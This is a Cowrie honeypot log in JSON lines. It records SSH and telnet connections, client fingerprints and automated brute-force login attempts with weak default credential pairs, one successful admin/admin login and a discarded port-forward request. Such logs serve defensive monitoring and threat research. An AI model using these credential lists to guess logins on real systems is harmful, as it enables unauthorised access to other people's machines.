{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:36.445724Z","src_ip":"172.237.20.62","session":"946924246448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:36.933587Z","src_ip":"172.237.20.62","session":"946924246448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10108,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a46105eccce","protocol":"ssh","message":"New connection: 87.251.64.176:10108 (10.17.0.5:22) [session: 9a46105eccce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:36.971939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:36.976864Z","src_ip":"87.251.64.176","session":"9a46105eccce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:37.076710Z","src_ip":"87.251.64.176","session":"9a46105eccce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:37.366074Z","src_ip":"87.251.64.176","session":"9a46105eccce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:37.464884Z","session":"9a46105eccce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:37.562608Z","src_ip":"87.251.64.176","session":"9a46105eccce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:37.662179Z","src_ip":"87.251.64.176","session":"9a46105eccce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:38.122704Z","src_ip":"172.237.20.62","session":"946924246448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57590,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb8006435e5e","protocol":"ssh","message":"New connection: 89.144.211.139:57590 (159.203.135.109:22) [session: bb8006435e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:41.792457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:41.803000Z","src_ip":"89.144.211.139","session":"bb8006435e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:41.928372Z","src_ip":"89.144.211.139","session":"bb8006435e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"P@ssw0rd","message":"login attempt [debian/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:42.437484Z","src_ip":"89.144.211.139","session":"bb8006435e5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:43.569380Z","src_ip":"89.144.211.139","session":"bb8006435e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44842,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3169abfef1a","protocol":"ssh","message":"New connection: 172.237.20.62:44842 (159.203.135.109:22) [session: c3169abfef1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:47.339320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:47.358030Z","src_ip":"172.237.20.62","session":"c3169abfef1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:47.499635Z","src_ip":"172.237.20.62","session":"c3169abfef1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:48.124356Z","src_ip":"172.237.20.62","session":"c3169abfef1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:49.287529Z","src_ip":"172.237.20.62","session":"c3169abfef1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00613856315613,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:53.955530Z","src_ip":"49.88.156.34","session":"149b2347696d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20933,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a17d1d61ff9","protocol":"ssh","message":"New connection: 2.57.121.25:20933 (10.17.0.5:22) [session: 2a17d1d61ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:54.192474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:54.197262Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:54.300992Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"241286","message":"login attempt [user/241286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:54.791681Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24121980","message":"login attempt [user/24121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:55.899587Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24081979","message":"login attempt [user/24081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:57.007553Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24061977","message":"login attempt [user/24061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:58.115018Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46288,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a40e062fff","protocol":"ssh","message":"New connection: 172.237.20.62:46288 (159.203.135.109:22) [session: e7a40e062fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:58.185506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:58.190007Z","src_ip":"172.237.20.62","session":"e7a40e062fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:58.386559Z","src_ip":"172.237.20.62","session":"e7a40e062fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:58.876401Z","src_ip":"172.237.20.62","session":"e7a40e062fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24041981","message":"login attempt [user/24041981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:58:59.221418Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:00.038436Z","src_ip":"172.237.20.62","session":"e7a40e062fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:00.328884Z","src_ip":"2.57.121.25","session":"2a17d1d61ff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50790,"dst_ip":"159.203.135.109","dst_port":22,"session":"303a7f88b935","protocol":"ssh","message":"New connection: 172.237.20.62:50790 (159.203.135.109:22) [session: 303a7f88b935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:09.392321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:09.398860Z","src_ip":"172.237.20.62","session":"303a7f88b935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:09.564879Z","src_ip":"172.237.20.62","session":"303a7f88b935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:10.120554Z","src_ip":"172.237.20.62","session":"303a7f88b935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:11.286191Z","src_ip":"172.237.20.62","session":"303a7f88b935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51072,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c07b81b117","protocol":"ssh","message":"New connection: 172.237.20.62:51072 (159.203.135.109:22) [session: 22c07b81b117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:20.491388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:20.497526Z","src_ip":"172.237.20.62","session":"22c07b81b117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:20.660576Z","src_ip":"172.237.20.62","session":"22c07b81b117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:59:21.172272Z","src_ip":"172.237.20.62","session":"22c07b81b117","protocol":"ssh"}
